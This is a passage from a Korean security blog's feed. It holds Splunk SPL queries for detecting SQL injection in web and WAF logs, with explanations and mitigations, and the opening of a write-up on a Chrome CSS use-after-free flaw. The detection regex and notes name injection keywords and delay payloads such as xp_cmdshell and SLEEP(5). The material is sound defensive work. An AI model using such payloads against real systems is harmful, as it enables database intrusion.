&lt;h2 data-sourcepos=&quot;310:1-310:16;6782-6797&quot; data-ke-size=&quot;size26&quot;&gt;7. SPL 탐지 쿼리&lt;/h2&gt;
&lt;h3 data-sourcepos=&quot;312:1-312:26;6799-6824&quot; data-ke-size=&quot;size23&quot;&gt;기본형: SQL 인젝션 의심 패턴 탐지&lt;/h3&gt;
&lt;div data-sourcepos=&quot;314:1-325:4;6826-7409&quot;&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;color: #14181f;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;index=web_logs OR index=waf_logs
| rex field=uri_query &quot;(?&amp;lt;sqli_pattern&amp;gt;('|\&quot;|;|--|\/\*|\*\/|xp_|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|CAST|CONVERT|WAITFOR|SLEEP|BENCHMARK))&quot;
| where isnotnull(sqli_pattern)
| eval severity=case(
    match(sqli_pattern, &quot;(DROP|xp_cmdshell|WAITFOR|SLEEP|BENCHMARK)&quot;), &quot;HIGH&quot;,
    match(sqli_pattern, &quot;(UNION|SELECT|INSERT|UPDATE|DELETE|EXEC)&quot;), &quot;MEDIUM&quot;,
    true(), &quot;LOW&quot;)
| stats count as attempt_count by src_ip, uri_path, sqli_pattern, severity
| sort -attempt_count
| table src_ip, uri_path, sqli_pattern, severity, attempt_count&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;327:1-327:15;7411-7425&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;327:1-327:15;7411-7425&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 라인별 설명:&lt;/b&gt;&lt;/p&gt;
&lt;p data-sourcepos=&quot;329:1-329:39;7427-7465&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;index=web_logs OR index=waf_logs&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;330:1-333:4;7466-7513&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;properties&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;웹 서버 로그 또는 WAF 로그에서 검색
HTTP 요청이 기록되는 소스&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;335:1-335:54;7515-7568&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;335:1-335:54;7515-7568&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;| rex field=uri_query &quot;(?&amp;lt;sqli_pattern&amp;gt;(...))&quot;&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;336:1-350:4;7569-7873&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;rex = 정규식으로 값을 추출하는 명령어

field=uri_query
&amp;rarr; URL 쿼리 파라미터 필드에서 검색
&amp;rarr; ?id=1&amp;amp;name=admin 같은 부분
&amp;rarr; uri_query는 원래 있는 필드가 아님
  환경마다 다르므로 fieldsummary로 먼저 확인 필요
  (index=web_logs | fieldsummary)

(?&amp;lt;sqli_pattern&amp;gt;...)
&amp;rarr; 정규식의 &quot;명명된 캡처 그룹&quot; 문법
&amp;rarr; 패턴과 일치하는 값을 sqli_pattern 필드에 저장
&amp;rarr; sqli_pattern도 직접 만든 필드 (원래 없는 필드)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;352:1-352:19;7875-7893&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;352:1-352:19;7875-7893&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정규식 패턴 각각의 의미:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;353:1-373:4;7894-8438&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;ada&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;'        : 작은따옴표 (SQL 쿼리 구조 깨기)
&quot;       : 큰따옴표 (\ = 이스케이프, &quot;가 정규식 특수문자라)
;        : 쿼리 구분자 (다중 쿼리 실행)
--       : SQL 줄 주석 (뒷부분 무시)
\/\*     : /* 블록 주석 시작 (/ * 가 정규식 특수문자라 \ 필요)
\*\/     : */ 블록 주석 끝
xp_      : xp_cmdshell 등 MS SQL 확장 프로시저 앞에 붙는 접두사
UNION    : UNION 기반 데이터 추출
SELECT   : 데이터 조회
INSERT   : 데이터 삽입
UPDATE   : 데이터 수정
DELETE   : 데이터 삭제
DROP     : 테이블 삭제 (파괴적)
EXEC     : 명령어 실행
CAST     : 데이터 형변환 (WAF 우회 기법에 사용)
CONVERT  : 데이터 변환 (WAF 우회 기법에 사용)
WAITFOR  : MS SQL 시간 지연
SLEEP    : MySQL 시간 지연
BENCHMARK: MySQL 시간 지연 (다른 방식)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;375:1-375:38;8440-8477&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;375:1-375:38;8440-8477&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;| where isnotnull(sqli_pattern)&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;376:1-379:4;8478-8540&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;excel&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;sqli_pattern 필드에 값이 있는 것만 남김
= 위 패턴 중 하나라도 발견된 요청만 필터링&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;381:1-381:32;8542-8573&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;381:1-381:32;8542-8573&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;| eval severity=case(...)&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;382:1-393:4;8574-8814&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;case = 조건에 따라 다른 값을 반환 (if-else와 같음)

DROP, xp_cmdshell, WAITFOR, SLEEP, BENCHMARK &amp;rarr; HIGH
&amp;rarr; DB 삭제, OS 명령 실행, 시간 지연 = 파괴적/탐지회피

UNION, SELECT, INSERT, UPDATE, DELETE, EXEC &amp;rarr; MEDIUM
&amp;rarr; 데이터 조회/변조 시도

나머지 &amp;rarr; LOW
&amp;rarr; 따옴표, 주석 같은 기본 패턴만 발견된 경우&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;395:1-395:44;8816-8859&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;395:1-395:44;8816-8859&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;| stats count as attempt_count by ...&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;396:1-403:4;8860-9030&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;attempt_count = stats count 결과를 저장한 직접 만든 필드
(as attempt_count 로 이름을 붙인 것)

동일한 IP + 경로 + 패턴 + 심각도 조합으로 집계
&amp;rarr; 같은 IP에서 반복 시도하면 attempt_count가 높아짐
&amp;rarr; 자동화 공격 여부 판단에 활용&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;407:1-407:48;9037-9084&quot; data-ke-size=&quot;size23&quot;&gt;개선형: 대량 데이터 응답 + SQL 패턴 연계 탐지 (UNION 기반 공격)&lt;/h3&gt;
&lt;div data-sourcepos=&quot;409:1-421:4;9086-9536&quot;&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;coq&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;index=web_logs
| rex field=uri_query &quot;(?&amp;lt;sqli_keyword&amp;gt;(UNION|SELECT|FROM|WHERE))&quot;
| where isnotnull(sqli_keyword)
| eval large_response=if(response_bytes &amp;gt; 10000, 1, 0)
| where large_response=1
| stats count as attack_count,
        avg(response_bytes) as avg_response_size
        by src_ip, uri_path, sqli_keyword
| where attack_count &amp;gt;= 3
| sort -avg_response_size
| table src_ip, uri_path, sqli_keyword, attack_count, avg_response_size&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;423:1-423:15;9538-9552&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;423:1-423:15;9538-9552&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 라인별 설명:&lt;/b&gt;&lt;/p&gt;
&lt;p data-sourcepos=&quot;425:1-425:61;9554-9614&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;| eval large_response=if(response_bytes &amp;gt; 10000, 1, 0)&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;426:1-435:4;9615-9781&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;response_bytes = 서버가 응답한 데이터 크기 (바이트)

UNION 기반 공격이 성공하면:
&amp;rarr; 원래 응답 + 추출한 DB 데이터까지 같이 반환
&amp;rarr; 응답 크기가 비정상적으로 커짐

10000바이트(10KB) 초과 &amp;rarr; large_response = 1 (비정상)
이하 &amp;rarr; 0&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;437:1-437:49;9783-9831&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;437:1-437:49;9783-9831&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;| avg(response_bytes) as avg_response_size&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;438:1-443:4;9832-9923&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;평균 응답 크기를 계산
&amp;rarr; 우연히 한 번 큰 것보다
  평균적으로 계속 크면 공격 성공 가능성 높음
avg_response_size도 직접 만든 필드&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;445:1-445:32;9925-9956&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;445:1-445:32;9925-9956&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;| where attack_count &amp;gt;= 3&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;446:1-450:4;9957-10022&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;3번 이상 발생한 경우만 남김
&amp;rarr; 1~2번은 우연일 수 있음
&amp;rarr; 3번 이상이면 반복 시도로 볼 수 있음&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;454:1-454:29;10029-10057&quot; data-ke-size=&quot;size23&quot;&gt;Time 기반 Blind SQL 인젝션 탐지&lt;/h3&gt;
&lt;div data-sourcepos=&quot;456:1-467:4;10059-10460&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;coq&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;index=web_logs
| eval response_time_sec=round(response_time/1000, 2)
| where response_time_sec &amp;gt;= 5
| rex field=uri_query &quot;(?&amp;lt;time_sqli&amp;gt;(WAITFOR|SLEEP|BENCHMARK|pg_sleep))&quot;
| where isnotnull(time_sqli)
| stats count as slow_count,
        avg(response_time_sec) as avg_delay
        by src_ip, uri_path, time_sqli
| sort -avg_delay
| table src_ip, uri_path, time_sqli, slow_count, avg_delay&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;469:1-469:15;10462-10476&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;469:1-469:15;10462-10476&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 라인별 설명:&lt;/b&gt;&lt;/p&gt;
&lt;p data-sourcepos=&quot;471:1-471:60;10478-10537&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;| eval response_time_sec=round(response_time/1000, 2)&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;472:1-481:4;10538-10700&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;response_time = 보통 밀리초(ms) 단위로 기록됨

/1000     &amp;rarr; 초 단위로 변환
round(..., 2) &amp;rarr; 소수점 둘째 자리까지 반올림

예시:
response_time = 5023ms
&amp;rarr; 5023 / 1000 = 5.023 &amp;rarr; round &amp;rarr; 5.02초&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;483:1-483:37;10702-10738&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;483:1-483:37;10702-10738&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;| where response_time_sec &amp;gt;= 5&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;484:1-488:4;10739-10820&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;stylus&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;5초 이상 걸린 요청만 필터링
SLEEP(5), WAITFOR DELAY '0:0:5' 같은 공격은
의도적으로 5초 지연을 발생시킴&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;490:1-490:44;10822-10865&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;490:1-490:44;10822-10865&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;| avg(response_time_sec) as avg_delay&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;491:1-499:4;10866-10993&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;평균 지연 시간 계산
일관된 5초 지연 = 공격 패턴
들쑥날쑥한 지연 = 서버 부하 등 다른 원인 가능성

avg_delay가 정확히 5초, 10초처럼
딱 떨어지면 더 의심스러움
avg_delay도 직접 만든 필드&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;501:1-501:73;10995-11067&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;501:3-501:73;10997-11067&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ &lt;b&gt;인덱스명 안내&lt;/b&gt;: web_logs, waf_logs는 예시다. 실제 환경의 인덱스명으로 변경 후 사용할 것.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;505:1-505:16;11074-11089&quot; data-ke-size=&quot;size26&quot;&gt;8. 오탐지 줄이는 팁&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;507:1-510:77;11091-11440&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;507:1-507:114;11091-11204&quot;&gt;&lt;b&gt;검색 기능&lt;/b&gt;: 일반 사용자가 검색창에 it's, O'Brien 같이 따옴표가 포함된 단어를 입력할 수 있다. 단순 따옴표 하나만으로 탐지하면 오탐이 많으니 여러 패턴이 조합된 경우만 의심&lt;/li&gt;
&lt;li data-sourcepos=&quot;508:1-508:77;11205-11281&quot;&gt;&lt;b&gt;개발/테스트 환경&lt;/b&gt;: 개발자가 테스트로 SQL 쿼리를 직접 입력하는 경우가 있다. 개발 서버 IP나 내부 IP 대역은 예외 처리&lt;/li&gt;
&lt;li data-sourcepos=&quot;509:1-509:82;11282-11363&quot;&gt;&lt;b&gt;응답 시간 기준&lt;/b&gt;: 서버 부하나 네트워크 지연으로도 5초 이상 응답이 발생할 수 있다. 동일 IP에서 일관된 지연이 반복되는 경우만 의심&lt;/li&gt;
&lt;li data-sourcepos=&quot;510:1-510:77;11364-11440&quot;&gt;&lt;b&gt;WAF 차단 로그&lt;/b&gt;: WAF가 이미 차단한 요청은 중복으로 집계될 수 있다. action=&quot;block&quot; 인 것은 별도로 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;514:1-514:12;11447-11458&quot; data-ke-size=&quot;size26&quot;&gt;9. 대응 방법&lt;/h2&gt;
&lt;div data-sourcepos=&quot;516:1-523:44;11460-11777&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 방법 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 설명 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 효과 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Prepared Statement&lt;/td&gt;
&lt;td&gt;입력값과 쿼리를 분리해서 처리&lt;/td&gt;
&lt;td&gt;근본적 해결책&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;입력값 검증&lt;/td&gt;
&lt;td&gt;허용 문자만 화이트리스트로 관리&lt;/td&gt;
&lt;td&gt;보조 수단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ORM 사용&lt;/td&gt;
&lt;td&gt;SQL을 직접 작성하지 않고 ORM 라이브러리 활용&lt;/td&gt;
&lt;td&gt;근본적 해결책&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;에러 메시지 숨기기&lt;/td&gt;
&lt;td&gt;DB 에러를 사용자에게 노출하지 않음&lt;/td&gt;
&lt;td&gt;Error 기반 공격 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;최소 권한 원칙&lt;/td&gt;
&lt;td&gt;DB 계정에 필요한 권한만 부여&lt;/td&gt;
&lt;td&gt;피해 범위 최소화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WAF 적용&lt;/td&gt;
&lt;td&gt;알려진 SQL 인젝션 패턴 차단&lt;/td&gt;
&lt;td&gt;시그니처 기반 방어&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;525:1-526:136;11779-11954&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;525:3-526:136;11781-11954&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;근본적인 해결책은 Prepared Statement 하나다.&lt;/b&gt; WAF, 입력값 필터링은 보조 수단이지 완전한 방어가 아니다. 공격자는 인코딩, 대소문자 혼용, 주석 삽입 등 다양한 우회 기법으로 필터를 피해간다. 코드 레벨에서 Prepared Statement를 사용하는 것이 유일한 근본 해결책이다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;530:1-530:11;11961-11971&quot; data-ke-size=&quot;size26&quot;&gt;10. 마무리&lt;/h2&gt;
&lt;p data-sourcepos=&quot;532:1-532:170;11973-12142&quot; data-ke-size=&quot;size16&quot;&gt;SQL 인젝션이 2013년부터 10년 넘게 OWASP Top 10에 올라있다는 건, 그만큼 여전히 실제 환경에서 많이 발견된다는 뜻이다. 원리 자체는 단순하지만 Blind, Time 기반, Out-of-Band 공격처럼 탐지가 어려운 변형이 많고, 성공하면 DB 전체가 털리는 치명적인 결과로 이어진다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;534:1-534:128;12144-12271&quot; data-ke-size=&quot;size16&quot;&gt;SOC 입장에서는 WAF 로그와 DB Slow Query 로그를 SIEM으로 수집하는 것이 탐지의 전제조건이다. 특히 Time 기반 공격은 WAF가 없으면 탐지 자체가 어렵기 때문에 네트워크 레벨 응답 시간 모니터링이 중요하다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;534:1-534:128;12144-12271&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;536:1-536:46;12273-12318&quot; data-ke-size=&quot;size16&quot;&gt;더 나은 탐지 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-sourcepos=&quot;546:1-546:11;12483-12493&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;547:1-549:105;12494-12746&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;547:1-547:83;12494-12576&quot;&gt;&lt;a href=&quot;https://owasp.org/Top10/A03_2021-Injection/&quot;&gt;OWASP Top 10 - A03:2021 Injection&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;548:1-548:65;12577-12641&quot;&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;MITRE CWE-89&lt;/a&gt;&lt;/li&gt;
&lt;li data-sourcepos=&quot;549:1-549:105;12642-12746&quot;&gt;&lt;a href=&quot;https://portswigger.net/web-security/sql-injection&quot;&gt;PortSwigger Web Security Academy - SQL Injection&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>취약점 분석/OWASP Top 10</category>
      <category>A05</category>
      <category>CWE-89</category>
      <category>owasp</category>
      <category>SoC</category>
      <category>spl</category>
      <category>Splunk</category>
      <category>SQLInjection</category>
      <category>sql인젝션</category>
      <category>웹취약점</category>
      <category>취약점분석</category>
      <author>y0.0ns</author>
      <guid isPermaLink="true">https://y0-0ns.tistory.com/28</guid>
      <comments>https://y0-0ns.tistory.com/28#entry28comment</comments>
      <pubDate>Tue, 14 Jul 2026 00:51:27 +0900</pubDate>
    </item>
    <item>
      <title>CVE-2026-2441: Google Chrome CSS Use-After-Free 취약점 분석 및 Splunk SPL 탐지 쿼리</title>
      <link>https://y0-0ns.tistory.com/27</link>
      <description>&lt;h2 data-sourcepos=&quot;7:1-7:24;191-214&quot; data-ke-size=&quot;size26&quot;&gt;1. 취약점 설명&lt;/h2&gt;
&lt;p data-sourcepos=&quot;9:1-9:189;216-404&quot; data-ke-size=&quot;size16&quot;&gt;Google Chrome의 CSS 렌더링 엔진에서 발견된 Use-After-Free 취약점. 악성 웹페이지를 방문하는 것만으로 Chrome 샌드박스 안에서 임의 코드가 실행된다. Chrome뿐 아니라 Chromium 기반 브라우저(Edge, Brave, Opera 등) 전체에 영향을 미치며, 패치 전부터 실제 공격에 악용된 제로데이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;13:1-13:13;411-423&quot; data-ke-size=&quot;size26&quot;&gt;2. 취약점 개요&lt;/h2&gt;
&lt;div data-sourcepos=&quot;15:1-23:42;425-702&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 항목 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 내용 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE 번호&lt;/td&gt;
&lt;td&gt;CVE-2026-2441&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;8.8 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;발표일&lt;/td&gt;
&lt;td&gt;2026년 2월 13일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-416 (Use After Free)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;영향 제품&lt;/td&gt;
&lt;td&gt;Google Chrome 145.0.7632.75 미만, Chromium 기반 브라우저 전체&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;취약 조건&lt;/td&gt;
&lt;td&gt;사용자가 악성 웹페이지를 방문 (추가 상호작용 불필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;보고자&lt;/td&gt;
&lt;td&gt;Shaheen Fazim (2026년 2월 11일 제보)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;25:1-30:109;704-1119&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;25:3-26:101;706-832&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Use-After-Free(UAF)란?&lt;/b&gt; 프로그램이 메모리를 해제(free)한 후에도 해당 주소를 계속 참조(use)하는 취약점. 해제된 메모리에 공격자가 원하는 데이터를 심으면 프로그램 실행 흐름을 조작할 수 있다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;28:3-28:174;837-1008&quot; data-ke-size=&quot;size16&quot;&gt;메모리는 창고 같은 것이다. 프로그램이 데이터를 쓸 때 창고에서 빈 공간을 빌리고(메모리 할당), 다 쓰면 반납한다(메모리 해제). UAF는 반납한 후에도 그 주소를 계속 사용하는 것이다. 이미 반납한 공간에 다른 누군가가 들어와 있을 수 있는데, 거기서 뭔가를 읽거나 쓰면 예측 불가능한 동작이 발생한다.&lt;br /&gt;동일한 취약점 유형(CWE-416)이 실제 적용된 또 다른 사례 &amp;rarr; &lt;a href=&quot;https://y0-0ns.tistory.com/25&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CVE-2026-53359: Linux KVM Use-After-Free 취약점 분석&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-sourcepos=&quot;32:1-33:152;1121-1297&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;32:3-33:152;1123-1297&quot; data-ke-size=&quot;size16&quot;&gt;Firefox는 왜 영향 없냐면? Firefox의 스타일링 엔진(Stylo)은 Rust로 작성됐기 때문이다. Rust는 컴파일 타임에 소유권과 빌림 규칙을 강제해서 Use-After-Free 버그 자체를 원천 차단한다. Chrome의 Blink 엔진은 C++로 작성되어 이런 메모리 안전 보장이 없다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;37:1-37:15;1304-1318&quot; data-ke-size=&quot;size26&quot;&gt;3. 익스플로잇 방식&lt;/h2&gt;
&lt;h3 data-sourcepos=&quot;39:1-39:15;1320-1334&quot; data-ke-size=&quot;size23&quot;&gt;취약점의 근본 원인&lt;/h3&gt;
&lt;p data-sourcepos=&quot;41:1-41:208;1336-1543&quot; data-ke-size=&quot;size16&quot;&gt;취약점은 Chrome Blink 렌더링 엔진의 CSSFontFeatureValuesMap 구현 안에 있다. 이터레이터가 CSSFontFeatureValuesMap 객체를 순회하는 중에 내부 HashMap이 변경되면 리해시(rehash) 작업이 발생하고, 이 과정에서 원본 메모리가 해제되지만 이터레이터는 해제된 주소를 가리키는 댕글링 포인터를 그대로 보유한다.&lt;/p&gt;
&lt;blockquote data-sourcepos=&quot;43:1-50:150;1545-1837&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;43:3-44:30;1547-1607&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CSSFontFeatureValuesMap이란?&lt;/b&gt; CSS에는 폰트를 세밀하게 제어하는 기능이 있다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;45:3-49:6;1610-1687&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;less&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;@font-feature-values MyFont {
    @styleset { a: 1; b: 2; }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
